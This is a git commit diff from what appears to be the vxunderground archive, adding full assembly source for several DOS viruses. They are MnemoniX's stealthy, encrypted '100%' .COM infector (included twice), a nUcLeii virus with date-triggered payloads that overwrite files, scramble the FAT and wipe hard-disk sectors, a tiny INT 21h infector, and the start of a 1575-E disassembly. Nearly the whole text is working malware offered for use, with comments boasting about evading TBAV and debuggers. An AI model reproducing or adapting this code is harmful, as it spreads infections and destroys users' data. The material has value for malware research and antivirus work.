re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
@@ -0,0 +1,412 @@
; =======================================================================>
; 100% By MnemoniX - 1994
;
; This is a memory resident .COM infector which hides itself using
; directory stealth (11/12 and 4E/4F). To avoid setting heuristic
; flags in TBAV, it overwrites part of the decryption routine with
; garbage and adds instructions to repair it on the header of the
; program. Runs through TBAV flawlessly. Examine it in action and
; observe for yourself.
;
; This virus also includes debugger traps to thwart tracing.
; =======================================================================>
PING equ 30F4h ; give INT 21 this value ...
PONG equ 0DEADh ; if this returns we're res.
ID equ '%0' ; ID marker
HEADER_SIZE equ 22 ; 22 - byte .COM header
MARKER equ 20 ; marker at offset 20
code segment byte public 'code'
org 100h
assume cs:code
start:
db 17 dup (90h) ; simulate infected program
jmp virus_begin ; a real host program will
dw ID ; have some MOVs at the
host:
db 0CDh,20h ; beginning
db 20 dup(90h)
virus_begin:
db 0BBh ; mov bx,offset viral_code
code_offset dw offset virus_code
db 0B8h ; mov ax,cipher
cipher dw 0
mov cx,VIRUS_SIZE / 2 + 1 ; mov cx,length of code
decrypt:
xor [bx],ax ; in real infections,
ror ax,1 ; portions of this code
inc bx ; will be replaced with
inc bx ; dummy bytes, which will be
loop decrypt ; fixed up by the header.
; this complicates scanning
virus_code:
call $+3 ; BP is instruction pointer
pop bp
sub bp,offset $-1
xor ax,ax ; anti-trace ...
mov es,ax ; set interrupts 0-3 to point
mov di,ax ; to The Great Void in high
dec ax ; memory ...
mov cl,8
rep movsw
mov ax,PING ; test for residency
int 21h
cmp bx,PONG
je installed
in al,21h ; another anti-debugger
xor al,2 ; routine ... lock out
out 21h,al ; keyboard
xor al,2
out 21h,al
mov ax,ds ; not resident - install
dec ax ; ourselves in memory
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h]
mov ds,ax
sub ax,15
mov es,ax
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16
push cs ; now move virus into memory
pop ds
mov di,100h
mov cx,(offset virus_end - offset start) / 2
lea si,[bp + offset start]
rep movsw
xor ax,ax ; change interrupt 21 to point
mov ds,ax ; to ourselves
mov si,21h * 4
mov di,offset old_int_21 ; (saving original int 21)
movsw
movsw
mov word ptr ds:[si - 2],0 ; anti-trace - temporarily
; kill int 21
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es
installed:
push cs ; restore segregs
push cs
pop ds
pop es
lea si,[bp + offset host] ; and restore original
mov di,100h ; bytes of program
push di
mov cx,HEADER_SIZE
rep movsb
ret ; and we're done
; Interrupt 21 handler - trap file execute, search, open, read, and
; moves to the end of the file.
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,30F4h ; residency test?
je test_pass ; yes ....
cmp ax,4B00h ; file execute?
jne stealth
jmp execute ; yes, infect ...
stealth:
cmp ah,11h ; directory stealth
je dir_stealth_1
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh ; more directory stealth
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
test_pass:
call int_21 ; get real DOS version
mov bx,PONG ; and give pass signal
iret
dir_stealth_1:
call int_21 ; perform directory search
cmp al,-1 ; no more files?
jne check_file
iret ; no, skip it
check_file:
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
cmp word ptr es:[bx + 9],'OC'
jne fixed ; not .COM file, ignore
mov ax,word ptr es:[bx + 17h]
and al,31 ; check seconds -
cmp al,26 ; if 52, infected
jne fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
xor si,si ; verify that this is a .COM
find_ext:
cmp byte ptr es:[bx + si],'.'
je found_ext
inc si
jmp find_ext
found_ext:
cmp word ptr es:[bx + si + 1],'OC'
jne fixed_2 ; if not .COM, skip
mov ax,word ptr es:[bx + 16h]
and al,31 ; check for infection marker
cmp al,26
jne fixed_2 ; not found, skip
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
execute:
push ax bx cx dx di ds es ; file execute ... check
; if uninfected .COM file,
mov ax,3D00h ; and if so, infect
call int_21
jnc read_header
jmp exec_exit ; can't open, leave
read_header:
xchg ax,bx
push bx ; save file handle
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; remove this if you don't
; mind scanning as [512] under
; SCAN ...
mov bl,es:[di] ; get number of the SFT
mov ax,1216h ; for this handle
int 2Fh ; ES:DI now points to SFT
pop bx
mov word ptr es:[di + 2],2 ; change open mode to R/W
push word ptr es:[di + 13] ; save file date
push word ptr es:[di + 15] ; and file time
mov ax,word ptr es:[di + 11h]
cmp ax,62579 - VIRUS_SIZE ; too big?
je exec_close
cmp ax,22 ; too small?
jb exec_close
add ax,HEADER_SIZE - 3 ; calculate virus offset
push cs
pop ds
mov ds:virus_offset,ax
mov ah,3Fh ; read header of file
mov cx,HEADER_SIZE ; to check for infection
mov dx,offset read_buffer
call int_21
cmp word ptr ds:read_buffer,'ZM'
je exec_close ; don't infect .EXE
cmp word ptr ds:read_buffer[MARKER],ID ; if infected
je exec_close ; already, skip it
mov ax,4202h ; move to end of file
call move_ptr_write
mov dx,offset read_buffer ; and save header
call int_21
call encrypt_code ; encrypt the virus code
call create_header ; and create unique header
mov ah,40h
mov cx,VIRUS_SIZE ; write virus code to file
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning of file
call move_ptr_write
mov dx,offset new_header ; write new header
call int_21
pop dx ; restore file date & time
pop cx
and cl,0E0h ; but with timestamp
or cl,26
mov ax,5701h
int 21h
mov ah,3Eh ; close file
int 21h
exec_exit:
pop es ds di dx cx bx ax
jmp int_21_exit
move_ptr_write:
cwd ; move file pointer
xor cx,cx
int 21h
mov cx,HEADER_SIZE ; and prepare for write
mov ah,40h ; to file
ret
exec_close:
pop ax ax ; clean off stack
mov ah,3Eh ; and close
int 21h
jmp exec_exit
encrypt_code proc near
push si es
push cs
pop es
xor ah,ah ; get random no.
int 1Ah ; and store in decryption
mov cipher,dx ; module
mov ax,ds:virus_offset
add ax,DECRYPTOR_SIZE + 103h
mov code_offset,ax
mov si,offset virus_begin ; first store header
mov di,offset encrypt_buffer
mov cx,DECRYPTOR_SIZE
rep movsb ; (unencryted)
mov cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code
encrypt:
lodsw ; simple encryption routine
xor ax,dx
ror dx,1
stosw
loop encrypt
pop es si
ret
encrypt_code endp
create_header proc near
mov ax,ds:virus_offset ; fix up addresses in new
add ax,103h + (offset decrypt - offset virus_begin)
mov ds:mov_1,ax ; header
inc ax
inc ax
mov ds:mov_2,ax
xor ah,ah ; fill in useless MOVs
int 1Ah ; with random bytes
mov ds:mov_al,cl
mov ds:mov_ax,dx
push es cs
pop es
mov di,offset encrypt_buffer
add di,offset decrypt - offset virus_begin
mov ax,dx ; now fill decryption module
neg ax ; with some garbage
stosw
rol ax,1
stosw
pop es
sub word ptr ds:virus_offset,17 ; fix up JMP instruction
ret ; done
create_header endp
new_header db 0C7h,06
mov_1 dw 00
db 31h,07 ; first MOV 6
db 0B0h
mov_al db 00 ; a nothing MOV AL, 2
db 0C7h,06
mov_2 dw 00
db 0D1h,0C8h ; second MOV 6
db 0B8h
mov_ax dw 00 ; a nothing MOV AX, 3
db 0E9h ; jump instruction 1
virus_offset dw 0 ; virus offset 2
dw ID ; ID marker 2
; total bytes = 22
sig db '[100%] By MnemoniX 1994',0
virus_end:
VIRUS_SIZE equ offset virus_end - offset virus_begin
read_buffer dw HEADER_SIZE dup (?) ; storage for orig header
encrypt_buffer dw VIRUS_SIZE dup (?) ; storage for encrypted virus
heap_end:
MEM_SIZE equ offset heap_end - offset start
DECRYPTOR_SIZE equ offset virus_code - offset virus_begin
ENCRYPTED_SIZE equ offset virus_end - offset virus_code
code ends
end start
@@ -0,0 +1,412 @@
; =======================================================================>
; 100% By MnemoniX - 1994
;
; This is a memory resident .COM infector which hides itself using
; directory stealth (11/12 and 4E/4F). To avoid setting heuristic
; flags in TBAV, it overwrites part of the decryption routine with
; garbage and adds instructions to repair it on the header of the
; program. Runs through TBAV flawlessly. Examine it in action and
; observe for yourself.
;
; This virus also includes debugger traps to thwart tracing.
; =======================================================================>
PING equ 30F4h ; give INT 21 this value ...
PONG equ 0DEADh ; if this returns we're res.
ID equ '%0' ; ID marker
HEADER_SIZE equ 22 ; 22 - byte .COM header
MARKER equ 20 ; marker at offset 20
code segment byte public 'code'
org 100h
assume cs:code
start:
db 17 dup (90h) ; simulate infected program
jmp virus_begin ; a real host program will
dw ID ; have some MOVs at the
host:
db 0CDh,20h ; beginning
db 20 dup(90h)
virus_begin:
db 0BBh ; mov bx,offset viral_code
code_offset dw offset virus_code
db 0B8h ; mov ax,cipher
cipher dw 0
mov cx,VIRUS_SIZE / 2 + 1 ; mov cx,length of code
decrypt:
xor [bx],ax ; in real infections,
ror ax,1 ; portions of this code
inc bx ; will be replaced with
inc bx ; dummy bytes, which will be
loop decrypt ; fixed up by the header.
; this complicates scanning
virus_code:
call $+3 ; BP is instruction pointer
pop bp
sub bp,offset $-1
xor ax,ax ; anti-trace ...
mov es,ax ; set interrupts 0-3 to point
mov di,ax ; to The Great Void in high
dec ax ; memory ...
mov cl,8
rep movsw
mov ax,PING ; test for residency
int 21h
cmp bx,PONG
je installed
in al,21h ; another anti-debugger
xor al,2 ; routine ... lock out
out 21h,al ; keyboard
xor al,2
out 21h,al
mov ax,ds ; not resident - install
dec ax ; ourselves in memory
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h]
mov ds,ax
sub ax,15
mov es,ax
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16
push cs ; now move virus into memory
pop ds
mov di,100h
mov cx,(offset virus_end - offset start) / 2
lea si,[bp + offset start]
rep movsw
xor ax,ax ; change interrupt 21 to point
mov ds,ax ; to ourselves
mov si,21h * 4
mov di,offset old_int_21 ; (saving original int 21)
movsw
movsw
mov word ptr ds:[si - 2],0 ; anti-trace - temporarily
; kill int 21
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es
installed:
push cs ; restore segregs
push cs
pop ds
pop es
lea si,[bp + offset host] ; and restore original
mov di,100h ; bytes of program
push di
mov cx,HEADER_SIZE
rep movsb
ret ; and we're done
; Interrupt 21 handler - trap file execute, search, open, read, and
; moves to the end of the file.
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,30F4h ; residency test?
je test_pass ; yes ....
cmp ax,4B00h ; file execute?
jne stealth
jmp execute ; yes, infect ...
stealth:
cmp ah,11h ; directory stealth
je dir_stealth_1
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh ; more directory stealth
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
test_pass:
call int_21 ; get real DOS version
mov bx,PONG ; and give pass signal
iret
dir_stealth_1:
call int_21 ; perform directory search
cmp al,-1 ; no more files?
jne check_file
iret ; no, skip it
check_file:
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
cmp word ptr es:[bx + 9],'OC'
jne fixed ; not .COM file, ignore
mov ax,word ptr es:[bx + 17h]
and al,31 ; check seconds -
cmp al,26 ; if 52, infected
jne fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
xor si,si ; verify that this is a .COM
find_ext:
cmp byte ptr es:[bx + si],'.'
je found_ext
inc si
jmp find_ext
found_ext:
cmp word ptr es:[bx + si + 1],'OC'
jne fixed_2 ; if not .COM, skip
mov ax,word ptr es:[bx + 16h]
and al,31 ; check for infection marker
cmp al,26
jne fixed_2 ; not found, skip
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
execute:
push ax bx cx dx di ds es ; file execute ... check
; if uninfected .COM file,
mov ax,3D00h ; and if so, infect
call int_21
jnc read_header
jmp exec_exit ; can't open, leave
read_header:
xchg ax,bx
push bx ; save file handle
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; remove this if you don't
; mind scanning as [512] under
; SCAN ...
mov bl,es:[di] ; get number of the SFT
mov ax,1216h ; for this handle
int 2Fh ; ES:DI now points to SFT
pop bx
mov word ptr es:[di + 2],2 ; change open mode to R/W
push word ptr es:[di + 13] ; save file date
push word ptr es:[di + 15] ; and file time
mov ax,word ptr es:[di + 11h]
cmp ax,62579 - VIRUS_SIZE ; too big?
je exec_close
cmp ax,22 ; too small?
jb exec_close
add ax,HEADER_SIZE - 3 ; calculate virus offset
push cs
pop ds
mov ds:virus_offset,ax
mov ah,3Fh ; read header of file
mov cx,HEADER_SIZE ; to check for infection
mov dx,offset read_buffer
call int_21
cmp word ptr ds:read_buffer,'ZM'
je exec_close ; don't infect .EXE
cmp word ptr ds:read_buffer[MARKER],ID ; if infected
je exec_close ; already, skip it
mov ax,4202h ; move to end of file
call move_ptr_write
mov dx,offset read_buffer ; and save header
call int_21
call encrypt_code ; encrypt the virus code
call create_header ; and create unique header
mov ah,40h
mov cx,VIRUS_SIZE ; write virus code to file
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning of file
call move_ptr_write
mov dx,offset new_header ; write new header
call int_21
pop dx ; restore file date & time
pop cx
and cl,0E0h ; but with timestamp
or cl,26
mov ax,5701h
int 21h
mov ah,3Eh ; close file
int 21h
exec_exit:
pop es ds di dx cx bx ax
jmp int_21_exit
move_ptr_write:
cwd ; move file pointer
xor cx,cx
int 21h
mov cx,HEADER_SIZE ; and prepare for write
mov ah,40h ; to file
ret
exec_close:
pop ax ax ; clean off stack
mov ah,3Eh ; and close
int 21h
jmp exec_exit
encrypt_code proc near
push si es
push cs
pop es
xor ah,ah ; get random no.
int 1Ah ; and store in decryption
mov cipher,dx ; module
mov ax,ds:virus_offset
add ax,DECRYPTOR_SIZE + 103h
mov code_offset,ax
mov si,offset virus_begin ; first store header
mov di,offset encrypt_buffer
mov cx,DECRYPTOR_SIZE
rep movsb ; (unencryted)
mov cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code
encrypt:
lodsw ; simple encryption routine
xor ax,dx
ror dx,1
stosw
loop encrypt
pop es si
ret
encrypt_code endp
create_header proc near
mov ax,ds:virus_offset ; fix up addresses in new
add ax,103h + (offset decrypt - offset virus_begin)
mov ds:mov_1,ax ; header
inc ax
inc ax
mov ds:mov_2,ax
xor ah,ah ; fill in useless MOVs
int 1Ah ; with random bytes
mov ds:mov_al,cl
mov ds:mov_ax,dx
push es cs
pop es
mov di,offset encrypt_buffer
add di,offset decrypt - offset virus_begin
mov ax,dx ; now fill decryption module
neg ax ; with some garbage
stosw
rol ax,1
stosw
pop es
sub word ptr ds:virus_offset,17 ; fix up JMP instruction
ret ; done
create_header endp
new_header db 0C7h,06
mov_1 dw 00
db 31h,07 ; first MOV 6
db 0B0h
mov_al db 00 ; a nothing MOV AL, 2
db 0C7h,06
mov_2 dw 00
db 0D1h,0C8h ; second MOV 6
db 0B8h
mov_ax dw 00 ; a nothing MOV AX, 3
db 0E9h ; jump instruction 1
virus_offset dw 0 ; virus offset 2
dw ID ; ID marker 2
; total bytes = 22
sig db '[100%] By MnemoniX 1994',0
virus_end:
VIRUS_SIZE equ offset virus_end - offset virus_begin
read_buffer dw HEADER_SIZE dup (?) ; storage for orig header
encrypt_buffer dw VIRUS_SIZE dup (?) ; storage for encrypted virus
heap_end:
MEM_SIZE equ offset heap_end - offset start
DECRYPTOR_SIZE equ offset virus_code - offset virus_begin
ENCRYPTED_SIZE equ offset virus_end - offset virus_code
code ends
end start
@@ -0,0 +1,317 @@
;hmm.,.,.,.,without a name.,.,.,.,
;this file is much like the 606, only it
;is much more harmful...it has a special suprise
;for three diffrent dates....hehehehe.,.,,..,.,
;i had planned to have it in with the other TR-
;series, but this was much to large to add in with.,.,
;enjoy!....
; nUcLeii
; [*v i a*]===[98]
.model tiny
.code
seg_a segment byte public
ASSUME CS: SEG_A, DS: SEG_A, ES: SEG_A
filename equ 30 ;find file name
fileattr equ 21 ;find file attributes
filedate equ 24 ;find file date
filetime equ 22 ;fine file time
org 100h
main proc
start:
call dirloc
infect:
mov dx, 100h
mov bx, handle
mov cx, 1203
mov ah, 40h
int 21h
ret
dirloc:
mov dx, offset dirdat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
newdir:
mov ah,19h ;get drive code
int 21h
mov dl, al ;save drive code
inc dl ;add one to dl (functions differ)
mov ah, 47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h
mov dx, offset daroot ;move dx to change to root
mov ah, 3bh ;change directory to root
int 21h
find:
mov cx, 13h ;include hidden/ro dir.
mov dx, offset wild ;look for '*'
mov ah, 4eh ;find file
int 21h
cmp ax, 12h ;no file?
jne findmore ;no dir? screw it then.
wank1:
jmp rollout
findmore:
mov ah, 4fh ;find next target
int 21h
cmp ax, 12h
je wank ;no more? crew it then.
keepgoin:
mov dx, offset dirdat+filename ;point dx to fcb-filename
mov ah, 3bh ;change directory
int 21h
mov ah, 2fh ;get current dta address
int 21h
mov [diskdat], es ;save old segment
mov [diskdatofs], bx ;save old offset
mov dx, offset filedat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
checkit:
mov cx, 07h ;find any attribute
mov dx, offset filetype ;point dx to exe files
mov ah, 4eh ;find first file function
int 21h
cmp ax, 12h ;was it found?
jne change
nextfile:
mov ah, 4fh ;find next file
int 21h
cmp ax,12h ;none found
jne change ;see what we can do...
mov dx, offset daroot ;dx to change to root directory
mov ah, 3bh
int 21h
mov ah, 1ah ;set dta address
mov ds, [diskdat] ;restore old segment
mov dx, [diskdatofs] ;restore old offset
int 21h
jmp findmore
wank:
jmp rollout
change:
mov ah, 2fh ;temp. store dta
int 21h
mov [tempseg], es ;save old segment
mov [tempofs], bx ;save old offset
mov dx, offset filedat+filename
mov bx, offset filedat ;save file...
mov ax, [bx]+filedate ;tha date
mov orig_date, ax
mov ax, [bx]+filetime ;tha time
mov orig_time, ax
mov ax, [bx]+fileattr ;tha attributes
mov ax, 4300h
int 21h
mov orig_attr, cx
mov ax, 4301h ;change attributes
xor cx, cx ;clear attributes
int 21h
mov ax, 3d00h ;open file and read
int 21h
jc fixup ;error?..go get another!
mov handle, ax ;save handle
mov ah, 3fh ;read from file
mov bx, handle ;move handle to bx
mov cx, 02h ;read 2 bytes
mov dx, offset idbuffer ;save to buffer
int 21h
mov ah, 3eh ;close it for now
mov bx, handle ;load bx with handle
int 21h
mov bx, idbuffer ;give bx the id string
cmp bx, 02ebh ;are we infected?
jne doit ;hmm...go get another.
fixup:
mov ah, 1ah ;set dta address
mov ds, [tempseg] ;restore old segment
mov dx, [tempofs] ;restore old offset
int 21h
jmp nextfile
doit:
mov dx, offset filedat+filename
mov ax, 3d02h ;open victim read/write access
int 21h
mov handle, ax ;save handle
call infect ;do your job...
;mov ax, 3eh
;int 21h
rollout:
mov ax, 5701h ;restore original...
mov bx, handle ;handle
mov cx, orig_time ;time
mov dx, orig_date ;date
int 21h
mov ax, 4301h ;and attributes
mov cx, orig_attr
mov dx, offset filedat+filename
int 21h
;mov bx, handle
;mov ax, 3eh ;close em"
;int 21h
mov ah, 3bh ;try this for speed...
mov dx, offset daroot
int 21h
mov ah, 3bh ;change directory
mov dx, offset currentdir ;back to the original
int 21h
mov ah, 2ah ;check system date
int 21h
cmp cx, 1998 ;hehe..if not then your already
jb getout ;screwed an ill leave ya alone.
cmp dl, 15 ;is it the 15th?...muhahaha
jne goaway ;not?...lucky you.
cmp dl, 19 ;is it the 19th?...muhahaha
je alter_fat ;your gonna have a few crosslinks...
cmp dl, 29 ;is it the 29th?...muhahaha
je ouch ;your screwed,..,.,.,.,
mov dx, offset dirdat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
mov ah, 4eh ;find first file
mov cx, 7h
mov dx, offset allfiles ;offset *.* ...hehehe...
jmp rockem
getout:
call outta
goaway:
call outta
rockem:
int 21h
jc goaway ;error? screw it then...
mov ax, 4301h ;find all "normal" files
xor cx, cx
int 21h
mov dx, offset dirdat+filename
mov ah, 3ch ;write to all files in current dir.
int 21h
jc outta ;error? screw it then...
mov ah, 4fh ;find next file
jmp rockem
ouch:
xor dx, dx ;clear dx
rip_hd1:
mov cx, 1 ;track 0, sector 1
mov ax, 311h ;17 secs per track (hopefully!)
mov dl, 80h
mov bx, 5000h
mov es, bx
int 13h ;kill 17 sectors
jae rip_hd2
xor ah, ah
int 13h ;reset disks if needed
rip_hd2:
inc dh ;increment head number
cmp dh, 4 ;if head number is below 4 then
jb rip_hd1 ;go kill another 17 sectors
inc ch ;increase track number and
jmp ouch ;do it again
alter_fat:
push dx
push bx
push cx
push ax
push bp ;save regs that will be changed
mov ax, 0dh
int 21h ;reset disk
mov ah, 19h
int 21h ;get default disk
xor dx, dx
call load_sec ;read in the boot record
mov bp, bx
mov bx, word ptr es:[bp+16h] ;find sectors per fat
push ax ;save drive number
call rnd_num ;get random number
cmp bx, ax ;if random number is lower than
jbe alter_fat1 ;secs per fat then jump and kill 'em
mov ax, bx ;else pick final sector of fat
alter_fat1:
int 26h ;write same data in that fat
pop bp
pop ax
pop cx
pop bx
pop dx
jmp outta
rnd_num:
push cx
push dx ;save regs that will be changed
xor ax, ax
int 1ah ;get system time
xchg dx, ax ;put lower word into ax
pop dx
pop cx
ret ;restore values and return
load_sec:
push cx
push ds ;save regs that will be changed
push ax ;save drive number
push cs
pop ds
push cs
pop es ;make es and ds the same as cs
mov ax, 0dh
int 21h ;reset disk
pop ax ;restore drive number
mov cx, 1
mov bx, offset sec_buf
int 25h ;read sector into buffer
pop ds
pop cx
ret ;restore regs and return
outta:
mov ax, 4c00h ;end program
int 21h
words_ db "nUcLeii~ *v. i. a*",0
words2 db "1200..n0name",0
allfiles db "*.*",0
currentdir db 64 dup (?)
daroot db "\",0
dirdat db 43 dup (?)
diskdat dw ?
diskdatofs dw ?
filedat db 43 dup (?)
filetype db "*.com",0
handle dw ?
idbuffer dw ?
orig_attr dw ?
orig_date dw ?
orig_time dw ?
sec_buf dw 100h dup(?)
tempofs dw ?
tempseg dw ?
wild db "*",0
main endp
seg_a ends
end start
@@ -0,0 +1,99 @@
VSize=085h
Code Segment
Assume CS:Code
org 0
db 4Dh
jmp Start
Org 600h
Bytes db 0CDh,20h,90h,90h
Start: mov si, 0100h
mov bx, offset Int21
mov cx, 0050h
mov di, si
add si, [si+2]
push di
movsw
movsw
mov es, cx
cmpsb
je StartFile
dec si
dec di
rep movsw
mov es, cx
xchg ax, bx
xchg ax, cx
Loop0: xchg ax, cx
xchg ax, word ptr es:[di-120h]
stosw
jcxz Loop0
xchg ax, bx
StartFile:
push ds
pop es
ret
Int21: cmp ax, 4B00h
jne End21
Exec: push ax
push bx
push dx
push ds
push es
mov ax, 3D02h
call DoInt21
jc EndExec
cbw ;Zero AH
cwd ;Zero DX
mov bx, si ;Move handle to BX
mov ds, ax ;Set DS and ES to 60h,
mov es, ax ;the virus data segment
mov ah, 3Fh ;Read first 4 bytes
int 69h
mov al, 4Dh
scasb ;Check for 4D5Ah or infected file mark
je Close ;.EXE or already infected
mov al, 2
call LSeek ;Seek to the end, SI now contains file size
mov cl, VSize ;Virus size in CX, prepare to write
int 69h ;AH is 40h, i.e. Write operation
mov ax, 0E94Dh ;Virus header in AX
stosw ;Store it
xchg ax, si ;Move file size in AX
stosw ;Complete JMP instruction
xchg ax, dx ;Zero AX
call LSeek ;Seek to the beginning
int 69h ;AH is 40h, write the virus header
Close: mov ah,3Eh ;Close the file
int 69h
EndExec: pop es
pop ds
pop dx
pop bx
pop ax
End21: jmp dword ptr cs:[69h * 4]
LSeek: mov ah, 42h ;Seek operation
cwd ;Zero DX
DoInt21: xor cx, cx ;External entry for Open, zero cx
int 69h
mov cl, 4 ;4 bytes will be read/written
xchg ax, si ;Store AX in SI
mov ax, 4060h ;Prepare AH for Write
xor di, di ;Zero DI
ret
VLen = $ - offset Bytes
Code EndS
End

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,983 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ 1575-E ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 23-May-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 6
data_2e equ 84h
data_3e equ 86h
data_4e equ 100h
data_10e equ 31Fh
data_12e equ 0 ;*
data_13e equ 3 ;*
data_14e equ 12h ;*
data_15e equ 0
data_55e equ 0FA0h
data_56e equ 6B0h
data_57e equ 725h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
1575-e proc far
start:
jmp short loc_4
db 90h
data_17 dw 0B2Bh, 103Eh
data_19 dw 0FF53h
data_20 dw 0F000h
data_21 db 0B4h
db 2
data_22 dw 2AB2h
data_23 dw 21CDh
db 0CDh, 20h
data_24 dw 0E5h
db 3Dh, 02h,0FFh,0FFh
data_25 dw 50Fh
data_26 dw 100h
db 26h,0D9h
data_27 dw 100h
data_28 dw 50Fh
data_29 dw 480h
data_30 dw 0
data_31 dw 0
data_32 dw 53F0h
data_33 dw 5
data_34 dw 648Ch
data_35 dw 789Fh
data_36 dw 480h
data_37 dw 0BD1h
data_38 dw 1213h
data_39 dw 0EA2h
data_40 dw 5BFh
data_41 db 4Dh
data_42 db 31h
db 68h, 7Dh, 02h,0FBh, 07h
db 70h, 00h
loc_ret_2:
retn
db 0E2h, 00h
db 0F0h,0FBh, 07h, 70h, 00h
loc_4:
push es
push ds
mov ax,es
push cs
pop ds
push cs
pop es
mov data_38,ax
mov ax,ss
mov data_33,ax
std ; Set direction flag
mov ax,7076h
cld ; Clear direction
xor ax,ax ; Zero register
mov ds,ax
xor si,si ; Zero register
mov di,offset data_42
mov cx,10h
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
push ds
pop ss
mov bp,8
xchg bp,sp
call sub_2
jmp loc_27
loc_5:
call sub_13
call sub_3
jz loc_6 ; Jump if zero
mov al,data_53
push ax
call sub_4
pop ax
mov data_53,al
jmp short loc_7
db 90h
loc_6:
call sub_6
call sub_7
cmp byte ptr data_53,0
jne loc_7 ; Jump if not equal
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_7:
cmp byte ptr data_53,43h ; 'C'
jne loc_10 ; Jump if not equal
loc_8:
pop ds
pop es
push cs
pop ds
pop es
push es
mov di,data_4e
mov si,offset data_21
mov cx,0Ch
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
push es
pop ds
mov ax,100h
push ax
xor ax,ax ; Zero register
retf ; Return far
1575-e endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
